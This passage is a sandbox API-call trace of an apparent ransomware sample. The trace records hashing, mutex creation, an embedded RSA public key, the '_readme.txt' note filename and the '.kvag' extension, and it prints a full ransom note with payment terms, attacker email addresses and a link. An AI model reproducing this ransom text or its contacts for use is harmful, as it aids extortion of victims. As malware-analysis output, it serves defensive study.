Size=0x288) returned 0x61641b0 [0114.504] GetAdaptersInfo (in: AdapterInfo=0x61641b0, SizePointer=0x18dc8c | out: AdapterInfo=0x61641b0, SizePointer=0x18dc8c) returned 0x0 [0114.792] GetAdaptersInfo (in: AdapterInfo=0x61641b0, SizePointer=0x18dc8c | out: AdapterInfo=0x61641b0, SizePointer=0x18dc8c) returned 0x0 [0114.817] GetLastError () returned 0x0 [0114.817] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1000) returned 0x61579b0 [0114.817] GetLastError () returned 0x0 [0114.817] GetLastError () returned 0x0 [0114.824] CryptAcquireContextW (in: phProv=0x18dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18dc5c*=0x3607030) returned 1 [0114.825] CryptCreateHash (in: hProv=0x3607030, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18dc64 | out: phHash=0x18dc64) returned 1 [0114.825] CryptHashData (hHash=0x35ed3f0, pbData=0x6187fb8, dwDataLen=0x11, dwFlags=0x0) returned 1 [0114.825] CryptGetHashParam (in: hHash=0x35ed3f0, dwParam=0x2, pbData=0x0, pdwDataLen=0x18dc60, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18dc60) returned 1 [0114.825] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x11) returned 0x35d6790 [0114.825] CryptGetHashParam (in: hHash=0x35ed3f0, dwParam=0x2, pbData=0x35d6790, pdwDataLen=0x18dc60, dwFlags=0x0 | out: pbData=0x35d6790, pdwDataLen=0x18dc60) returned 1 [0114.825] GetLastError () returned 0x0 [0114.825] CryptDestroyHash (hHash=0x35ed3f0) returned 1 [0114.825] CryptReleaseContext (hProv=0x3607030, dwFlags=0x0) returned 1 [0114.825] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6187fb8 | out: hHeap=0x35b0000) returned 1 [0114.825] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61612f8 [0114.825] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x361bc00 | out: hHeap=0x35b0000) returned 1 [0114.825] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x35dc5b8 | out: hHeap=0x35b0000) returned 1 [0114.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x41e4e0, lpParameter=0x513270, dwCreationFlags=0x0, lpThreadId=0x51325c | out: lpThreadId=0x51325c*=0x5f0) returned 0x5b0 [0115.046] WaitForSingleObject (hHandle=0x5b0, dwMilliseconds=0xffffffff) returned 0x0 [0115.675] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5b4 [0115.675] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x28) returned 0x6187208 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6173b68 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6173dd0 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6174038 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x61742a0 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6174508 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6174770 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x61749d8 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6174c40 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6174ea8 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6175110 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x3e0) returned 0x61589b8 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x5ee) returned 0x61641b0 [0115.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", cchWideChar=-1, lpMultiByteStr=0x61641b0, cbMultiByte=1518, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", lpUsedDefaultChar=0x0) returned 495 [0115.676] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x5f0) returned 0x61593e0 [0115.676] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61641b0 | out: hHeap=0x35b0000) returned 1 [0115.676] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61589b8 | out: hHeap=0x35b0000) returned 1 [0115.676] CryptAcquireContextW (in: phProv=0x18dccc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18dccc*=0x3607030) returned 1 [0115.677] CryptCreateHash (in: hProv=0x3607030, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18dcd0 | out: phHash=0x18dcd0) returned 1 [0115.677] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0115.677] CryptHashData (hHash=0x61837c8, pbData=0x61593e0, dwDataLen=0x1ee, dwFlags=0x0) returned 1 [0115.677] CryptGetHashParam (in: hHash=0x61837c8, dwParam=0x2, pbData=0x0, pdwDataLen=0x18dcd4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18dcd4) returned 1 [0115.677] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x11) returned 0x35d6790 [0115.677] CryptGetHashParam (in: hHash=0x61837c8, dwParam=0x2, pbData=0x35d6790, pdwDataLen=0x18dcd4, dwFlags=0x0 | out: pbData=0x35d6790, pdwDataLen=0x18dcd4) returned 1 [0115.677] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x34) returned 0x6183748 [0115.677] GetLastError () returned 0x0 [0115.677] lstrcatA (in: lpString1="", lpString2="0E" | out: lpString1="0E") returned="0E" [0115.677] GetLastError () returned 0x0 [0115.677] lstrcatA (in: lpString1="0E", lpString2="4A" | out: lpString1="0E4A") returned="0E4A" [0115.677] GetLastError () returned 0x0 [0115.677] lstrcatA (in: lpString1="0E4A", lpString2="00" | out: lpString1="0E4A00") returned="0E4A00" [0115.677] GetLastError () returned 0x0 [0115.677] lstrcatA (in: lpString1="0E4A00", lpString2="B4" | out: lpString1="0E4A00B4") returned="0E4A00B4" [0115.677] GetLastError () returned 0x0 [0115.677] lstrcatA (in: lpString1="0E4A00B4", lpString2="D3" | out: lpString1="0E4A00B4D3") returned="0E4A00B4D3" [0115.677] GetLastError () returned 0x0 [0115.677] lstrcatA (in: lpString1="0E4A00B4D3", lpString2="D3" | out: lpString1="0E4A00B4D3D3") returned="0E4A00B4D3D3" [0115.677] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D3", lpString2="6F" | out: lpString1="0E4A00B4D3D36F") returned="0E4A00B4D3D36F" [0115.678] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D36F", lpString2="75" | out: lpString1="0E4A00B4D3D36F75") returned="0E4A00B4D3D36F75" [0115.678] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D36F75", lpString2="DD" | out: lpString1="0E4A00B4D3D36F75DD") returned="0E4A00B4D3D36F75DD" [0115.678] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D36F75DD", lpString2="E0" | out: lpString1="0E4A00B4D3D36F75DDE0") returned="0E4A00B4D3D36F75DDE0" [0115.678] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE0", lpString2="98" | out: lpString1="0E4A00B4D3D36F75DDE098") returned="0E4A00B4D3D36F75DDE098" [0115.678] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098", lpString2="B0" | out: lpString1="0E4A00B4D3D36F75DDE098B0") returned="0E4A00B4D3D36F75DDE098B0" [0115.678] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098B0", lpString2="15" | out: lpString1="0E4A00B4D3D36F75DDE098B015") returned="0E4A00B4D3D36F75DDE098B015" [0115.678] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098B015", lpString2="D0" | out: lpString1="0E4A00B4D3D36F75DDE098B015D0") returned="0E4A00B4D3D36F75DDE098B015D0" [0115.678] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098B015D0", lpString2="B7" | out: lpString1="0E4A00B4D3D36F75DDE098B015D0B7") returned="0E4A00B4D3D36F75DDE098B015D0B7" [0115.678] GetLastError () returned 0x0 [0115.678] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098B015D0B7", lpString2="A7" | out: lpString1="0E4A00B4D3D36F75DDE098B015D0B7A7") returned="0E4A00B4D3D36F75DDE098B015D0B7A7" [0115.678] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x35d6790 | out: hHeap=0x35b0000) returned 1 [0115.678] CryptDestroyHash (hHash=0x61837c8) returned 1 [0115.678] CryptReleaseContext (hProv=0x3607030, dwFlags=0x0) returned 1 [0115.678] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61593e0 | out: hHeap=0x35b0000) returned 1 [0115.678] lstrlenA (lpString="0E4A00B4D3D36F75DDE098B015D0B7A7") returned 32 [0115.678] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x3e0) returned 0x61589b8 [0115.678] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x5ee) returned 0x61641b0 [0115.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", cchWideChar=-1, lpMultiByteStr=0x61641b0, cbMultiByte=1518, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", lpUsedDefaultChar=0x0) returned 495 [0115.678] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x5f0) returned 0x61593e0 [0115.678] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61641b0 | out: hHeap=0x35b0000) returned 1 [0115.678] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61589b8 | out: hHeap=0x35b0000) returned 1 [0115.679] lstrcpyA (in: lpString1=0x614b090, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n" [0115.679] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61593e0 | out: hHeap=0x35b0000) returned 1 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368daf0 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x28) returned 0x61871d8 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6175378 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x61755e0 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6175848 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6175ab0 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6175d18 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6175f80 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x61761e8 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6176450 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x61766b8 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6176920 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x816) returned 0x61641b0 [0115.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18dcd8, cbMultiByte=-1, lpWideCharStr=0x61641b0, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x61593e0 [0115.679] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61641b0 | out: hHeap=0x35b0000) returned 1 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x28) returned 0x6187388 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6176b88 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x6176df0 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617c9c8 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617cc30 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617ce98 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617d100 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617d368 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617d5d0 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617d838 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617daa0 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xa0) returned 0x36260a8 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x130) returned 0x6127198 [0115.679] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x36260a8 | out: hHeap=0x35b0000) returned 1 [0115.679] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1d0) returned 0x613fcc0 [0115.680] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6127198 | out: hHeap=0x35b0000) returned 1 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x2b7) returned 0x61589b8 [0115.680] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x613fcc0 | out: hHeap=0x35b0000) returned 1 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x412) returned 0x61641b0 [0115.680] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61589b8 | out: hHeap=0x35b0000) returned 1 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x61a) returned 0x6159c08 [0115.680] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61641b0 | out: hHeap=0x35b0000) returned 1 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x440) returned 0x61589b8 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1072) returned 0x6166ac8 [0115.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x61589b8, cbMultiByte=-1, lpWideCharStr=0x6166ac8, cchWideChar=2105 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned 1082 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1080) returned 0x615b658 [0115.680] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6166ac8 | out: hHeap=0x35b0000) returned 1 [0115.680] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61589b8 | out: hHeap=0x35b0000) returned 1 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x28) returned 0x61873b8 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617dd08 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617df70 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617e1d8 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617e440 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617e6a8 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617e910 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617eb78 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617ede0 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617f048 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x25c) returned 0x617f2b0 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x80a) returned 0x61641b0 [0115.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18dcd8, cbMultiByte=-1, lpWideCharStr=0x61641b0, cchWideChar=1029 | out: lpWideCharStr=".kvag") returned 6 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x6166ac8 [0115.680] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61641b0 | out: hHeap=0x35b0000) returned 1 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6188170 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x18) returned 0x35d6730 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f20 [0115.680] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161288 [0115.680] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x35d6730 | out: hHeap=0x35b0000) returned 1 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368db58 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x48) returned 0x6178ca8 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161288 | out: hHeap=0x35b0000) returned 1 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162118 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368dc90 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6178ca8 | out: hHeap=0x35b0000) returned 1 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146f78 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x90) returned 0x6118f88 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dc90 | out: hHeap=0x35b0000) returned 1 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6146fd0 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61621a8 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xd8) returned 0x60f13c8 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6118f88 | out: hHeap=0x35b0000) returned 1 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6188198 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147028 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x60) returned 0x368dc90 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x138) returned 0x3609350 [0115.681] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x60f13c8 | out: hHeap=0x35b0000) returned 1 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61621f0 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x6147080 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x50) returned 0x61470d8 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162238 [0115.681] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1c8) returned 0x613fcc0 [0115.681] HeapFree (in: 